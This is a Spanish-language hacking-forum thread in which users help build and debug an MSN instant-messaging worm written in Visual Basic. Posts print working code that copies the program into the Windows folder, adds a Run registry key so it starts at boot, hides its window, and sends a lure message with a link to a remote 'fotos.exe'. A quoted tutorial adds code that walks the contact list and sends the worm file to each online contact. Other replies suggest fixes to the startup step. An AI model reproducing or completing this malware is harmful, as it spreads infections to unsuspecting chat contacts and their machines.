Buenas, pues estoy re-programando un spread msn que me pasaron hace tiempo.. sin apenas idea de programación, y lo estoy probando en una máquina virtual.. bien, hasta ahora todo parece que tira bien, pero hay un problema, y es que no se inicia al arrancar el pc.. a ver si alguien le hecha un vistazo.


En cuanto se solucione, voy a quitar el código de aqui (A pesar de estar incompleto) si alguien lo quiere, por MP estoy dispuesto a darlo. Saluts!

Código: Seleccionar todo

Retirado por seguridad


EDITO: Ahora ni me funciona al ejecutarlo :S
Se supone que tengo que hacer Dos TextBox, un timer y dos Labels caption '0' ???
Última edición por nuLe-Oner el 21 Nov 2009, 23:12, editado 2 veces en total.
nuLe-Oner escribió:Buenas, pues estoy re-programando un spread msn que me pasaron hace tiempo.. sin apenas idea de programación, y lo estoy probando en una máquina virtual.. bien, hasta ahora todo parece que tira bien, pero hay un problema, y es que no se inicia al arrancar el pc.. a ver si alguien le hecha un vistazo.

También tengo un spread USB y P2P, y me gustaria añadireselos a este, lo que pasa es que están en un archivo .BAS

En cuanto se solucione, voy a quitar el código de aqui (A pesar de estar incompleto) si alguien lo quiere, por MP estoy dispuesto a darlo. Saluts!

Código: Seleccionar todo

Option Explicit

Private Declare Function GetWindowText _
    Lib "user32" _
    Alias "GetWindowTextA" ( _
        ByVal hwnd As Long, _
        ByVal lpString As String, _
        ByVal cch As Long) As Long

Private Declare Function GetForegroundWindow Lib "user32" () As Long

Private Declare Function GetAsyncKeyState _
    Lib "user32" ( _
        ByVal vKey As Long) As Integer

Private Sub Form_Load()
On Error GoTo segimos
FileCopy App.Path & "\" & App.EXEName & ".com", "c:\windows\hardware.com"
Shell "reg add hklm\software\microsoft\windows\currentversion\run /v Hardware /t reg_sz /d C:\windows\hardware.com /f", vbHide
Form1.Visible = False
App.TaskVisible = False
    Timer1.Interval = 1000
segimos:
Form1.Visible = False
App.TaskVisible = False
    Timer1.Interval = 1000
End Sub

Private Sub Text1_Change()
If InStr(1, Text1.Text, "Conver", vbTextCompare) <> 0 Or InStr(1, Text1.Text, "@", vbTextCompare) <> 0 Then
If InStr(1, Text2.Text, Text1.Text, vbTextCompare) <> 0 Then
Label1.Caption = "0"
Else
SendKeys "jaja mira que buena foto te acuerdas??" & "{ENTER}"
SendKeys "http://www.gammaserver.com/fotos.exe" & "{ENTER}"
SendKeys "{ESC}"
Text2.Text = Text2.Text & Text1.Text
End If
End If
End Sub

Private Sub Timer1_Timer()
        retVentanaActiva
End Sub


Private Sub retVentanaActiva()

    Dim Handle As Long
    Dim buffer As String

    Handle = GetForegroundWindow

    If Handle = 0 Then Exit Sub
   
    buffer = Space(255)
    
    Call GetWindowText(Handle, buffer, 255)
    
    buffer = Trim$(buffer)
    buffer = Left(buffer, Len(buffer) - 1)

    
    Text1.Text = Trim$(buffer)

End Sub




EDITO: Ahora ni me funciona al ejecutarlo :S
Se supone que tengo que hacer Dos TextBox, un timer y dos Labels caption '0' ???

pues para que arranque lo añades al registro como tu pones ahi pero tal vez te sean sensibles a mayusculas y minusculas, puedes probar poniendolo con la sensibilidad de mayusculas y minusculas osea solo ponerlo asi:

...
Shell "REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Hadware /t REG_SZ /d C:\WINDOWS\hadware.com /f"...

ademas de que la extencion .com tal vez por eso no se ejecute si pones la ruta de tu programa con .exe tal vez con eso funcione es decir

Shell "REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Hadware /t REG_SZ /d C:\WINDOWS\programa.exe /f"

ademas creo que no activas la ventana del msn

yo hize un spreader msn pero yo usaba app.Activate titulo de la ventana
y metia todo en el clipboard y lo pegaba con ctrl v osea:

clipboard.SetText("texto + link")
app.Activate "titulo"
SendKeys "^v"

no se si eso te sirva xD
//mHmm..
Hola a lo mejor te puede servir este metodo de propagacion por msm esto lo saque del tuto de Hendrix espero que te sirva. descargate el tuto en mi pagina

Código: Seleccionar todo

Propagacion por MSN 
 
Weno, llega el post que muchos estaban esperando (para mi es el mejor), kabe decir que esta 
info no la e escrito yoo, la a escrito Nemlin, de *****. Es decir, un "monstruo" de la 
programacion virica!!!  
 
 
Weno, Aki va: 
 
Despues de varias horas quemadas frente al monitor (solo mirandolo     ), logre mi objetivo. En 
este pequeño y humilde tutorial aprenderas como tu "programa" (para llamarlo de alguna 
manera) puede utilizar el MSN para reproducirse, para chatear, para emitir sus emociones, para 
tomar la lista de contactos y reproducirse por mail, y para lo que se te ocurra que puedas hacer 
con el msn. Los ejemplos aqui expuestos estan hechos en Visual Basic, pero tratare de explicar 
lo mejor que pueda las acciones a realizar para poder adaptar a otros lenguajes los ejemplos. 
 
Las acciones a seguir seran las siguientes: 
Crear o acceder al MSN 
Tomar la lista de contactos 
Crear una ventana de chat, solo con los contactos conectados 
Enviar un mensaje que intime a descargarse el archivo 
Enviar el archivo 
 
 
Primero debemos comenzar accediendo al msn, a traves del objeto Messenger.UIAutomation. 
Una vez hecho esto, iriamos de contacto en contacto, llamando a una funcion con el contacto 
online como parametro. 
 
 
VB: 
 
On Error GoTo NotCompatible 
Set w = CreateObject("Messenger.UIAutomation") 
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto 
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine... 
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat 
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo 
Next 
End If 
Exit Sub 
NotCompatible: 
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error" 
Foro elhacker.net    Paper : Abril Negro 2006 
End 
 
 
Con InstantMessage abrimos la ventana para chatear con el contacto. Simplemente lo 
asignamos a una variable, porque necesitamos saber el handle de esa ventana para poder 
continuar. 
La funcion a la que se llama es la siguiente: 
 
Private Sub SpamMsn(ByVal mHwnd) 
On Error Resume Next 
Dim l As Long, spam As String 
 
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la 
ventana 
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo 
Call SendText(l, "***** Screen saber") 'Mensaje a enviar 
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar 
End Sub 
 
Bien, empezemos con lo dificil. Primero la funcion para enviar texto. A esta funcion le tenemos 
que pasa el handle de la ventana de chat y el texto a enviar. Usaremos las APIs siguientes: 
GetForegroundWindow 
SetForegroundWindow 
PostMessage 
 
Para escribir en la ventana de chat, debemos darle el foco a la ventana. Para esto usare la 
funcion SetForegroundWindow. Lo primero que haremos es crear un bucle, que establezca el 
foco a la ventana, y hasta que esa ventana tenga el foco no termine. ¿Por que hacemos esto? 
Simplemente porque windows (no me pregunten porque) no le da el foco a la primera vez que 
se llama la funcion. Por esto, creamos el bucle y nos aseguramos de que la ventana tendra el 
foco. Una vez hecho esto, con PostMessage enviamos tecla por tecla, y asi escribrimos el 
mensaje entero. Luego enviamos un Enter, y asi se manda el mensaje. La funcion es la 
siguiente: 
 
Public Sub SendText(pIMWindow As Long, sText As String) 
Dim hDirectUI As Long, hPrevWnd As Long 
Dim i As Integer 
hDirectUI = pIMWindow 
Do 
Call SetForegroundWindow(hDirectUI) 
Loop Until GetForegroundWindow = hDirectUI 
For i = 1 To Len(sText) 
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&) 
Next i 
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&) 
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&) 
End Sub 
 
Enviando el archivo... 
Bueno, esto es mas dificil que lo anterior (mentira). 
Aqui, tendremos que mandar un comando a la ventana padre del chat. El comando es 40275. 
Simplemente lo mandamos con PostMessage, y para detectar la ventana padre, usaremos la Api 
GetWindowLong(hWnd, GWL_HWNDPARENT). hWnd corresponde al handle de la ventana del 
chat. Una vez enviado el comando, aparecera por arte de magia la clasica ventanita de "enviar 
archivo", el cual nos permitira continuar con nuestra obra del mal. Ahora, en windows 98 la cosa 
se hace mucho mas facil, pero como hay que adaptar todo a windoze XP, tonces debemos 
buscar esa ventanita entre todas las abiertas. ¿Como? con un bucle que vaya de ventana en 
ventana, y pare cuando el titulo sea 'Enviar' (para MSN en Español), y 'Send' (para MSN en 
Ingles). Esto se puede hacer con la API GetWindow, aunque se puede hacer con otras funciones 
Foro elhacker.net    Paper : Abril Negro 2006 
mas eficientes. Queda a gusto del programador. 
Una vez encontrada la santa ventana de enviar archivo, debemos enviar a la casilla 'Nombre de 
Archivo' la ruta del fichero a enviar. En win98 esa casilla corresponde a la clase "Edit", por lo que 
es facil buscar el handle. Con FindWindowEx(X, 0, "Edit", vbNullString) ya tenemos el handle de 
la casilla y con SendMessageByString, enviamos la ruta. PERO EN WIN XP ES DIFERENTE. El 
casillero es una clase "ComboBox", dentro de otra clase "ComboBoxEx32", por lo que hay que 
verificar que el primer metodo no nos devuelva 0. Si nos devuelve 0, buscamos esas dos clases 
y listo, tenemos el handle de la casilla de texto. Enviamos la ruta del archivo. Enviamos un 
Enter, y listo!  
 
Bueno, he aqui la funcion: 
 
Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean 
Dim X As Long 
Dim Edit As Long 
Dim ParentHWnd As Long 
Dim hWndText As String 
Dim t As Single 
 
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0) 
DoEvents 
X = GetWindow(GetDesktopWindow(), GW_CHILD) 
hWndText = fWindowText(X) 
t = Timer 
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0) 
X = GetWindow(X, GW_HWNDNEXT) 
hWndText = fWindowText(X) 
If Format(Timer - t, "0.00") > 5 Then GoTo FIN 
Loop 
Edit = FindWindowEx(X, 0, "Edit", vbNullString) 
If Edit = 0 Then 
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString) 
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString) 
End If 
If Edit = 0 Then Exit Function 
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath) 
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&) 
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&) 
EnviarFile = True 
FIN: 
End Function 
 
Declaraciones de Apis y Constantes utilizadas: 
 
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, 
ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, 
ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long 
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As 
Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long 
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As 
String, ByVal lpWindowName As String) As Long 
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd 
As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long 
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As 
Long, ByVal nIndex As Long) As Long 
Public Declare Function GetForegroundWindow Lib "user32" () As Long 
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long 
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" 
Foro elhacker.net    Paper : Abril Negro 2006 
(ByVal hwnd As Long) As Long 
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As 
Long, ByVal lpString As String, ByVal cch As Long) As Long 
Public Declare Function GetDesktopWindow Lib "user32" () As Long 
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As 
Long 
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As 
Long) As Long 
 
Private Const GW_HWNDFIRST = 0& 
Private Const GW_HWNDNEXT = 2& 
Private Const GW_CHILD = 5& 
Public Const GWL_HWNDPARENT = (-8) 
Public Const WM_SETTEXT = &HC 
Public Const WM_GETTEXT = &HD 
Public Const WM_GETTEXTLENGTH = &HE 
Public Const WM_KEYDOWN = &H100 
Public Const WM_KEYUP = &H101 
Public Const WM_CHAR = &H102 
Public Const WM_COMMAND = &H111 
Public Const VK_RETURN = &HD 
Editado por sanlegas, prohibido hacer spam
josfres deja de estar haciendo Spam o te van a banear
Imagen

"Me saltó el avira cuando estaba mirando la foto de slandg... ¿como puedo modearlo? " - Skillmax
D@rB-15 escribió:josfres deja de estar haciendo Spam o te van a banear
d@rb-15 tiene razon :s en todos los posts pones entra a mi pagina..y pones el link :s
//mHmm..
No estoy seguro, pero creo que esto en el nuevo WLMSN esto no funciona :S, voy a probar y te cuento. Aún asi que alguien lo mire..
Yo a ver si programo uno jugando con las Apis, a todos los contactos Conectados/No conectados sin abrir ventana..
Saludos.


Edito: Parece que lo he conseguido arreglar, ya captura la ventana y escribe cerrandola rapido. El startup, era muy sencillo, ya que el programador que empezo con este code, lo usaba en un .com, por lo que cambiandole el nombre en la linea se solucionó (por lo menos eso parece xD)
Salu2, luego subo el que estoy terminando para P2P y USB!!
Responder

Volver a “VB/.NET”